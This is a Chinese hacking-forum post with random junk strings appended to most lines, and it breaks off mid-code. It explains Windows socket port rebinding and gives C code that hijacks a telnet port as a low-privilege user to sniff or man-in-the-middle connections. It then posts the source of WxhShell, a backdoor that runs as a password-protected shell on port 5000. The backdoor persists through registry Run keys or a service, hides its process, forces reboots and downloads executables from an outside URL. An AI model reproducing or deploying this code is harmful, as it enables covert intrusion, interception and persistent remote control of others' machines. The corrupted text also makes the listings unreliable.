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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mMT7`r;l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9'//_ A,  
@zfeCxVOA  
  saddr.sin_family = AF_INET; o?{VGJH<v  
>&?wo{b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [4xN:i  
tvRa.3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0e vxRcrzz  
Kt}dTpVFr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pJ_Z[}d)c  
FG#E?G  
  这意味着什么?意味着可以进行如下的攻击: 5+%BZ  
zCvR/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :Fj4YP"  
'U}i<^,c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  ^r ;}6  
o}WbW }&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3L>V-RPiM  
>47,Hq:2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uX}M0W  
x6Z$lhZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %q>gwq A  
E? F @  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +~FH'DsT  
{AIZ,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~sSB.g  
P!bm$h*3?  
  #include }aX).u  
  #include  mH?^3T  
  #include FLy|+4D_%4  
  #include    5+3Z?|b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?wwY8e?S  
  int main() fXL>L   
  { l@#X]3h!  
  WORD wVersionRequested; zO)9(%LS  
  DWORD ret; PVEEKKJP]J  
  WSADATA wsaData; j1d#\  
  BOOL val; I[t)V*L9  
  SOCKADDR_IN saddr; V i#(x9.  
  SOCKADDR_IN scaddr; ~q|^z[7  
  int err; v/yk T9@;  
  SOCKET s; hDp'=}85@  
  SOCKET sc; ;oR-\;]/.  
  int caddsize; 5&94VQ$d  
  HANDLE mt; QX(:!b  
  DWORD tid;   <j,7Z>Rk\x  
  wVersionRequested = MAKEWORD( 2, 2 ); OgfQGGc  
  err = WSAStartup( wVersionRequested, &wsaData ); E) z g,7Y  
  if ( err != 0 ) { >{GC@Cw  
  printf("error!WSAStartup failed!\n"); lBh {8a|2W  
  return -1; eW >k'ez  
  } OZt'ovY  
  saddr.sin_family = AF_INET; 'inWV* P*g  
   I/^Lr_\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?'_iqg3  
 m?B@VDZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?+Qbr$]  
  saddr.sin_port = htons(23); K{|;'N-1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) };zF&  
  { * 5P/&*c|  
  printf("error!socket failed!\n"); t9P` nfY  
  return -1; @ $(4;ar  
  } @&M $`b ^  
  val = TRUE; XTeU 2I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I|R9@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Xb]n_`  
  { * rs_k/2(  
  printf("error!setsockopt failed!\n"); !4z"a@$  
  return -1; [9+M/O|Vs  
  } 'mmyzsQ \6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o-)E_X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iSFgFJG^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +Tu:zCv.  
-@#AQ\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {h@R\bU  
  { Q6vkqu5!=  
  ret=GetLastError(); ruE.0VI@  
  printf("error!bind failed!\n"); )O7Mfr  
  return -1; msoE8YK&tg  
  } uNx3us-  
  listen(s,2); Za01z^  
  while(1) o} %  
  { fYCAwS{  
  caddsize = sizeof(scaddr); +p43d:[  
  //接受连接请求 Vx#xq#wK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TUk1h\.q  
  if(sc!=INVALID_SOCKET) zSq+#O1#  
  { j f^fj-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 14^t{  
  if(mt==NULL) o^AK@\e:^Z  
  { ul% q6=f)  
  printf("Thread Creat Failed!\n"); TkQ05'Qc  
  break; 3cOXtDV YT  
  } e|kYu[^  
  } v1)jZ.:  
  CloseHandle(mt); a{u)~:/G  
  } w93yhV?  
  closesocket(s); ].1R~7b  
  WSACleanup(); 1P[!B[;c  
  return 0; 4s$))x9p  
  }   ?^@;8m  
  DWORD WINAPI ClientThread(LPVOID lpParam) 52%.^/  
  { wPG3Ap8L  
  SOCKET ss = (SOCKET)lpParam; I.( 9{  
  SOCKET sc; "+HZ~:~f  
  unsigned char buf[4096]; K): )bL(B  
  SOCKADDR_IN saddr; 7tt&/k?Q  
  long num; e1'_]   
  DWORD val; rP>5OLP  
  DWORD ret; E&"bgwav{(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xwz2N5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "dkvk7zCP  
  saddr.sin_family = AF_INET; _ :][{W#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (sPZ1Fr\o  
  saddr.sin_port = htons(23); -EL"Sv?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]*v%(IGK  
  { pWQ?pTh  
  printf("error!socket failed!\n"); vwT?Bp  
  return -1; rN>f"/J |  
  } L;v#9^Fq  
  val = 100; sa*hoL18  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9vVYZ}HC  
  { ;,IGO7R  
  ret = GetLastError(); >+G=|2  
  return -1; Z?^AX&F  
  } `@Qq<T}V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p-Q1abl  
  { ^LnCxA&QH  
  ret = GetLastError(); r?[Zf2&  
  return -1; wRWN]Vo  
  } Z4rK$ B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $osDw1C  
  { 3:76x  
  printf("error!socket connect failed!\n"); R2r0'Yx  
  closesocket(sc); 'jfI1 ]q  
  closesocket(ss); a7M8sZ?"  
  return -1; iXXgPapz  
  } PY) 74sa  
  while(1) .+ _x|?'  
  { ON !1lS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eP;lH~!.0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [dUW3}APV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  H'2pmwk  
  num = recv(ss,buf,4096,0); i5:fn@&  
  if(num>0) m:K/ )v*  
  send(sc,buf,num,0); A2htD!3  
  else if(num==0)  /pV^w  
  break; O~igwFe  
  num = recv(sc,buf,4096,0); t*n!kXa  
  if(num>0) $ABW|r  
  send(ss,buf,num,0); r1t  TY?  
  else if(num==0) c!6.D  
  break; rw58bkh6  
  } QCMt4`% 'u  
  closesocket(ss); Q?Q!D+~mND  
  closesocket(sc); ^gD&NbP8  
  return 0 ; wl}Q|4rZ  
  } esFBWJ  
?|{P]i?)'  
6J-tcL*4"%  
========================================================== ~|+   
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下边附上一个代码,,WXhSHELL w 8T#~Dc  
91[(K'=&  
========================================================== UKn>.,  
BK6oW3wD/  
#include "stdafx.h" (i&:=Bfn)  
Lw2EA 5  
#include <stdio.h> dTS 7l02  
#include <string.h> CSIW|R@   
#include <windows.h> 1[mX_ }K  
#include <winsock2.h> v-g2k_ o|  
#include <winsvc.h> .y|*  
#include <urlmon.h> Fb.wm   
Wc#4%kT  
#pragma comment (lib, "Ws2_32.lib") U%m,:b6V  
#pragma comment (lib, "urlmon.lib") _@SC R%  
uBH4E;[f  
#define MAX_USER   100 // 最大客户端连接数 E ekX|*  
#define BUF_SOCK   200 // sock buffer @ 2Z{en?  
#define KEY_BUFF   255 // 输入 buffer }eSaF@.  
CO-9-sQx  
#define REBOOT     0   // 重启 AvH^9zEE(  
#define SHUTDOWN   1   // 关机 qy/xJ>:  
f D2. Zh  
#define DEF_PORT   5000 // 监听端口 UJ n3sZ<}  
}cEcoi<v!  
#define REG_LEN     16   // 注册表键长度 (jtrQob  
#define SVC_LEN     80   // NT服务名长度 $CRu?WUS]'  
o4\\q66K  
// 从dll定义API ?7*.S Lt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <0T|RhbY   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PFu{OJg&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MA6(VII  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U]ynnw4  
kq8.SvIb  
// wxhshell配置信息 gwm!Pw j  
struct WSCFG { X0.kQ  
  int ws_port;         // 监听端口 F}wy7s2i  
  char ws_passstr[REG_LEN]; // 口令 Z8%?ej`8  
  int ws_autoins;       // 安装标记, 1=yes 0=no pE,2pT2>  
  char ws_regname[REG_LEN]; // 注册表键名 d)1 d0ES  
  char ws_svcname[REG_LEN]; // 服务名 SFv'qDA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3f@@|vZF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |6v $!wBi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A+de;&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @>cz$##`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UQ c!"D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FC@h6 \+a  
kUGOkSP8[  
}; C.].HQ  
 k{d]  
// default Wxhshell configuration N:x--,2  
struct WSCFG wscfg={DEF_PORT, [MhKR }a  
    "xuhuanlingzhe", \| &KD  
    1, N?`V;`[  
    "Wxhshell", -M5vh~Tp  
    "Wxhshell", dhv?36uE  
            "WxhShell Service", HCfme<'  
    "Wrsky Windows CmdShell Service", ( RO-~-  
    "Please Input Your Password: ", 70Jx[3vr  
  1, jVi> 9[rz  
  "http://www.wrsky.com/wxhshell.exe", oq${}n<  
  "Wxhshell.exe" 3>M%?d  
    }; B\S}*IE  
0v+ -yEkw  
// 消息定义模块 /s*.:cdH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mX 3p   
char *msg_ws_prompt="\n\r? for help\n\r#>"; >m]LV}">O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J?{@pA  
char *msg_ws_ext="\n\rExit."; _NefzZWUJ  
char *msg_ws_end="\n\rQuit."; :aQ.:b(n  
char *msg_ws_boot="\n\rReboot..."; Rjp7H  
char *msg_ws_poff="\n\rShutdown..."; %5RR<[_/;  
char *msg_ws_down="\n\rSave to "; 3{$vN).  
}`cf3'rdk  
char *msg_ws_err="\n\rErr!"; |;:g7eb  
char *msg_ws_ok="\n\rOK!"; V56WgOBxz  
ls7eypKR  
char ExeFile[MAX_PATH]; JTIt!E}P  
int nUser = 0; V6Mt;e)C  
HANDLE handles[MAX_USER]; @`$'sU  
int OsIsNt; c+ D <  
wXjidOd $  
SERVICE_STATUS       serviceStatus; \?SvO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e,N}z  
is }>+&_  
// 函数声明 WP2=1"X63  
int Install(void); G/*;h,NbNr  
int Uninstall(void); DA1?M'N  
int DownloadFile(char *sURL, SOCKET wsh); B*Q9g r  
int Boot(int flag); o?Aj6fNY?  
void HideProc(void); Z1#u&oX  
int GetOsVer(void); 2ah%,o  
int Wxhshell(SOCKET wsl); Mg #yl\v  
void TalkWithClient(void *cs); >-w(P/  
int CmdShell(SOCKET sock); $=iw<B r  
int StartFromService(void); _%q~K (::  
int StartWxhshell(LPSTR lpCmdLine); Jsl2RdI  
#x;,RPw5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  />Q}0H g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \yl|*h3  
NV7k@7_{B  
// 数据结构和表定义 !_vxbfZO  
SERVICE_TABLE_ENTRY DispatchTable[] = s1q8r!2\w  
{ Z\?2"4H  
{wscfg.ws_svcname, NTServiceMain}, 7:,f|>  
{NULL, NULL} D"J',YN$  
};  g5 T  
0z'GN#mT5  
// 自我安装 (`S^6 -^  
int Install(void) ia7<AwV  
{ m8ts!6C  
  char svExeFile[MAX_PATH]; vfc:ok1  
  HKEY key; s3HVX'   
  strcpy(svExeFile,ExeFile); ;-6-DEL  
|GtvgvO,  
// 如果是win9x系统,修改注册表设为自启动 V(_1q  
if(!OsIsNt) { B*N1)J\5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y(o)} m*0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lDTHK2f  
  RegCloseKey(key); -QroT`gy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Cb3R|L8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 12a`,~  
  RegCloseKey(key); yL*]_  
  return 0; gs5(~YiT6  
    } =A.$~9P  
  } z%OKv[/N  
} @^xtxtjzux  
else { 1>"-!ADm  
^cm ] [9  
// 如果是NT以上系统,安装为系统服务 ZUHRATT-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T9C_=0(hn  
if (schSCManager!=0) `PC9t)%.pV  
{ CmZayV  
  SC_HANDLE schService = CreateService L.Qz29\  
  ( +{1.kb Zq  
  schSCManager, |@vkQ  
  wscfg.ws_svcname, CZ<T@k  
  wscfg.ws_svcdisp, gxN>q4z  
  SERVICE_ALL_ACCESS, DsejZ&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lj (y  
  SERVICE_AUTO_START, H/c (m|KK  
  SERVICE_ERROR_NORMAL, ]3rVULU"K-  
  svExeFile, ")T\_ME  
  NULL, LWyr  
  NULL, $iu[-my_  
  NULL, .!x&d4;,q  
  NULL, {%f{U"m  
  NULL X` zWw_i  
  ); m[^lu1\wn  
  if (schService!=0)  Y !?'[t  
  { s_'&_>D  
  CloseServiceHandle(schService); "j@\a)a  
  CloseServiceHandle(schSCManager); 5&ku]l+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4f([EV[6dK  
  strcat(svExeFile,wscfg.ws_svcname); lH}KFFbp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $KK~KEZ2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )S caT1I  
  RegCloseKey(key); p+;& Gg54  
  return 0; %{@Q7  
    } 98>GHl'lM  
  } zaqX};b  
  CloseServiceHandle(schSCManager); xG9Sk  
} 6qWUo3  
} ~SnUnNDm`  
X2z<cJG|d@  
return 1; U ? +_\  
} x4oWZEd  
=]Vz= <  
// 自我卸载 |A%9c.DG.  
int Uninstall(void) AcC &Q:g  
{ ieFl4hh[G  
  HKEY key; o4);5~1l  
.T| }rB<c  
if(!OsIsNt) { 0zaK&]oY0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A&Y5z[p  
  RegDeleteValue(key,wscfg.ws_regname); ;mkkaW,D*  
  RegCloseKey(key); iwotEl0*{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,`@pi@<"#  
  RegDeleteValue(key,wscfg.ws_regname); 7?$?Yu  
  RegCloseKey(key); R4m {D  
  return 0; 5*AXL .2ih  
  } n HseA  
} i[v4[C=WB!  
} hF%M!otcJ-  
else { rtV`Q[E  
KK){/I=z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &mwd0%4  
if (schSCManager!=0) E/P~HE{  
{ .ZpOYhk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i%hCV o  
  if (schService!=0) ?sf<cFF  
  { 1E+12{~m"i  
  if(DeleteService(schService)!=0) { g !'R}y  
  CloseServiceHandle(schService); gcJ!_KZK  
  CloseServiceHandle(schSCManager); $[ {5+*  
  return 0; g7\ =  
  } mdj%zJ8/  
  CloseServiceHandle(schService); `o[l%I\Q  
  } Dac)`/  
  CloseServiceHandle(schSCManager); b 7UJ  
} z p E|  
} i"^>sk  
T] zEcx+e  
return 1; %FO{:@CH  
} r|Ui1f5  
(}: s[cs  
// 从指定url下载文件 P@{ x@9kI  
int DownloadFile(char *sURL, SOCKET wsh) UUah5$Iy  
{ BVQy@:K/  
  HRESULT hr; X8 nos  
char seps[]= "/"; J:xGEa t  
char *token; Ql*zl  
char *file; [q <'ty  
char myURL[MAX_PATH]; kv+%  
char myFILE[MAX_PATH]; 2w 2Bc+#o  
$Ome]+0  
strcpy(myURL,sURL); c8l>OS5i3_  
  token=strtok(myURL,seps); j4.wd RK  
  while(token!=NULL) "6B7EH  
  { fz&B$1;8  
    file=token; OQVrg2A%(  
  token=strtok(NULL,seps); }9~^}99}  
  } I6>J.6luF9  
RK3y q$  
GetCurrentDirectory(MAX_PATH,myFILE); $l7^-SK`E  
strcat(myFILE, "\\"); 64s;EC  
strcat(myFILE, file); AK:cDKBO  
  send(wsh,myFILE,strlen(myFILE),0); $ [gN#QW%  
send(wsh,"...",3,0); Y'v[2s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ] lB zpD  
  if(hr==S_OK) 5xQ-f  
return 0; Cf {F"o  
else $ghZ<Y2}9  
return 1; }3pM,.  
]%Q!%uTh  
} S@qp_!  
Q;h.}N8W  
// 系统电源模块 _Nx /<isdL  
int Boot(int flag) e#"h@kZP  
{ +#O+%!  
  HANDLE hToken; >Vuvbo   
  TOKEN_PRIVILEGES tkp; VYvfx  
K_7pr~D]@r  
  if(OsIsNt) { 3EoCEPb#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NvR{S /Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (O.%Xbx3  
    tkp.PrivilegeCount = 1; ^ Ltho`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -yqsJGY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >I5:@6 Z  
if(flag==REBOOT) { B9v>="F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T1LYJ]5  
  return 0; 80xr zv  
} _z\/{  
else { N8<J'7%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )^2eC<t  
  return 0; qd`e:s*%  
} >lI7]hbIs  
  } {SoI;o_>  
  else { DaQ"Df_X  
if(flag==REBOOT) { UKS5{"=T[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #c"eff  
  return 0; d,<ni"  
} NBikYxa  
else { RNg?o [S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E$8JrL  
  return 0; u9lZHh#V-  
} 8@3K, [Mo  
} *S$v SDJCW  
@AyteHK  
return 1; RObnu*  
} 9 {4yC9Oz>  
d2\ !tJm  
// win9x进程隐藏模块 Q*ITs!~Z  
void HideProc(void) NOb`)qb  
{ TBlSZZ-55]  
k,h602(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d {z[46>  
  if ( hKernel != NULL ) jhu &Wh  
  { "c^!LV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c`6c)11K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %X}ZX|{O  
    FreeLibrary(hKernel); 1.hWgWDP  
  } aSR-.r  
`~1!nfFD  
return; yR}. Xq/  
} V<ESj K8  
XLh)$rZ  
// 获取操作系统版本 b)w cGBS  
int GetOsVer(void) FD=% 4#|  
{ c*USA eP  
  OSVERSIONINFO winfo; n<?U6~F&~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qxL\G &~  
  GetVersionEx(&winfo); Qg>NJ\*Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rd <m:r  
  return 1; w5FIHYl6B  
  else I-#H+\S  
  return 0; %? ~'A59  
} &@=Jm /5  
}=R]<`Sj.j  
// 客户端句柄模块 QM$UxWo-  
int Wxhshell(SOCKET wsl) ZOK!SBn^?  
{ 5_yQI D%Sq  
  SOCKET wsh; 6opin  
  struct sockaddr_in client; D9rQ%|}S  
  DWORD myID; 6BE,L  
ep>!jMhJa  
  while(nUser<MAX_USER) kpOdyn(  
{ 5LeZ ?'"c  
  int nSize=sizeof(client); *k?:k78L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E)b$;'  
  if(wsh==INVALID_SOCKET) return 1; R2bqhSlF  
_&KqmQ8$7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Im]@#X  
if(handles[nUser]==0) ]8G 'R-8}  
  closesocket(wsh); }\ _.Mg^y  
else r>mBe;[TX  
  nUser++; {v={q1  
  } _H]\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DE13x *2  
I8#2+$Be+@  
  return 0; w,|@e_|J  
} ns[/M~_r  
3:nhZN/95T  
// 关闭 socket 0KA*6]h t  
void CloseIt(SOCKET wsh) mF~T?L"  
{ #qRoTtMq 7  
closesocket(wsh); _[:6.oNjIe  
nUser--; s{^98*  
ExitThread(0); }U]jy  
} G?Et$r7:R  
`kKssU<  
// 客户端请求句柄 w\C1Bh!  
void TalkWithClient(void *cs) pwSgFc$z  
{ 7UTfafOGX  
5D s[?  
  SOCKET wsh=(SOCKET)cs; [@$ SLl^Y  
  char pwd[SVC_LEN]; /<[0o]  
  char cmd[KEY_BUFF]; >a3m!`lq  
char chr[1]; q~`hn(S  
int i,j; 2m Y!gVi  
eqtZU\GI>  
  while (nUser < MAX_USER) { s.1F=u9a  
y6 (L=$+B  
if(wscfg.ws_passstr) { uYW4$6S 3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >`QBN1 Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l5z//E}W  
  //ZeroMemory(pwd,KEY_BUFF); _{|a<Keq|  
      i=0; hY}Q|-|  
  while(i<SVC_LEN) { zDF Nx:h  
GrF4*I`q  
  // 设置超时 aZZ0eH  
  fd_set FdRead; :8S;34Y;  
  struct timeval TimeOut; 74e=zW?  
  FD_ZERO(&FdRead); b42%^E  
  FD_SET(wsh,&FdRead); ;@+ |]I  
  TimeOut.tv_sec=8; vNi;)"&*  
  TimeOut.tv_usec=0; ^}  {r@F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *F$@!ByV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )x-b+SC  
s,R:D).  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T CT8OU|  
  pwd=chr[0]; 74^v('-2  
  if(chr[0]==0xd || chr[0]==0xa) { =By@%ioIGG  
  pwd=0; n"iS[uj,  
  break; <Bo\a3Z  
  } U~ X  
  i++; E}wT5t;u  
    } C-pR$WM:HN  
DJGafX^  
  // 如果是非法用户,关闭 socket 9.)z]Gav  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r3V1l8MV  
} 5(~Lr3v0  
kBP?_ O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (bm^R-SbB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sRB=<E*_  
AKk=XAGW  
while(1) { }6Pbjm*  
4!sK>l!  
  ZeroMemory(cmd,KEY_BUFF); X5owAc6  
?NBae\6r  
      // 自动支持客户端 telnet标准    |q3X#s72  
  j=0; XPhP1 ^>\  
  while(j<KEY_BUFF) { Kp7D I0~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 81nD:]7  
  cmd[j]=chr[0]; loA/d  
  if(chr[0]==0xa || chr[0]==0xd) { H&-3`<  
  cmd[j]=0; <F^9ML+'  
  break; )at:Xm<s  
  } l8~(bq1  
  j++; $:I{  
    } eEXNEgbn  
G]h_z|$K  
  // 下载文件 iM!Ya!  
  if(strstr(cmd,"http://")) { ,h=a+ja8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YCRE-5!  
  if(DownloadFile(cmd,wsh)) &G2&OFAr]q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s AFn.W  
  else aEdA'>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %N Q mV_1  
  } iw#~xel<ez  
  else { 7V%P  
#E+ybwA  
    switch(cmd[0]) { ZtZ3I?%U3  
  k, N{  
  // 帮助 YPx+9^)  
  case '?': { np2&W'C/i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N3$1f$`  
    break; Cu`  
  } XQ~Xls%]   
  // 安装 Q u2 ~wp<  
  case 'i': { {9(0s| pr  
    if(Install()) n*"r!&Dg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6MBy\*n  
    else PVg<Ovi^d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Bw:6Y4LZ  
    break; ='jT 5Mg  
    } ?j8!3NCl}  
  // 卸载 wU|@fm"  
  case 'r': { # bHkI~  
    if(Uninstall()) n UmyPQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%fTdneH  
    else 6=n|Ha  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); inh:b .,B  
    break; ,c:NdY(,)  
    } Iuz_u2"C  
  // 显示 wxhshell 所在路径 4Q0ZY(2 EO  
  case 'p': { d4ecF%R  
    char svExeFile[MAX_PATH]; W8S sv  
    strcpy(svExeFile,"\n\r"); HnArj_E  
      strcat(svExeFile,ExeFile); T^Ia^B-%}g  
        send(wsh,svExeFile,strlen(svExeFile),0); $F^VtCx2&  
    break; WP*}X7IS  
    } Y_Fn)(  
  // 重启 5IUdA?  
  case 'b': { ?PWg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  FkrXM!mJ  
    if(Boot(REBOOT)) ~bkO8tn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vYm-$KQ"o  
    else { MlYm\x8{M  
    closesocket(wsh); I'*,<BPG  
    ExitThread(0); 9vP;i= fr  
    } 0?$|F0U"J  
    break; (=uT*Cb  
    } -XXsob}/8  
  // 关机 Uk]jy>7;!  
  case 'd': { #WZat ?-N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \_O#M   
    if(Boot(SHUTDOWN)) S>I` y]qlR  
